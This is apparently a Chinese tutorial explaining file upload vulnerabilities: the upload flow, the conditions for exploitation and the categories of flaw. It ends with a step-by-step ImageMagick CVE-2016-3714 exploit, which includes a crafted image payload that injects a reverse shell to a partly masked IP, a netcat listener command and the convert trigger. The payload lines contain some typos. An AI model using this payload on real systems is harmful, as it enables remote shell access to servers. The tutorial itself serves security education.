0x00 什么是文件上传

文件上传是现在所有网站的常见功能,多用于上传图片、视频、文档的许多类型文件,比如(头像,个人信息认证,商品的头像,宣传的海报,附件等等)。

0x01 文件上传的流程

一般文件上传的流程如下:
1. 前端选择文件,进行提交。
2. 浏览器形成POST MultiPart 报文发送到服务器
3. 服务器中间件接收到报文,解析后交给相关后端代码进行处理
4.后端代码将上传的文件内容写入到临时文件中(PHP 特有)
5. 写入到文件中,文件名为提交的文件名或以一定规则生成的文件名。

0x02 什么是文件上传漏洞

程序员在开发任意文件上传功能时,并未考虑文件格式后缀的合法性校验或者是只考虑在前端通过js进行后缀检验。这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,从而攻击者访问这些恶意脚本对包含的恶意代码动态解析最终达到执行恶意代码的效果,进一步影响服务器安全。

0x03 存在上传漏洞的必要条件:

1.存在上传点
2. 可以上传动态文件
3.上传目录具有执行权限,并且上传的文件可执行
4. 可访问上传的动态文件

0x04 文件上传检测流程

image.png

0x05 文件上传的类型:

  • Web 编辑器文件上传漏洞。
  • Windows / Linux Web 服务器文件解析漏洞。
  • 文件上传程序存在漏洞。
  • 中间件上传漏洞。(Tomcat、jboss等后台上传Jar文件获取webshell,OpenFire后台定制插件获取webshell)
  • ImageMagick等远程命令执行漏洞上传。

ImageMagick 是一个用来创建、编辑和合成图片的软件,在很多编程语言中可以直接调用,CVE-2016-3714 利用方法如下:
(1) 先构建一个精心准备的图片,将以下内容保存为 sh.png ,其中 122.115.4x.3x为反弹到监听端口的服务器,监听端口为4433,将以下代码保存为sh.png 即可。

  1. push grahpic-context
  2. viewbox 0 0 640 480
  3. fill 'url(https://exapmlpe.com/image.jpeg"|bash -i >& /dev/tscp/122.115.4x.3x/4433 0>&1")'


(2)执行命令。在执行命令前,需要在反弹服务器上执行 nc -lvvp 4433 命令。执行完 “convert sh.png 1.png” 命令后,终端没有反应,直到反弹shell 退出之后。
(3)获取反弹shell 。执行 convert 命令之后,会根据网络情况,在监听服务器上延迟数秒,直接获取webshell,在该webshell 可以创建和下载文件,到达和文件上传类似的功能。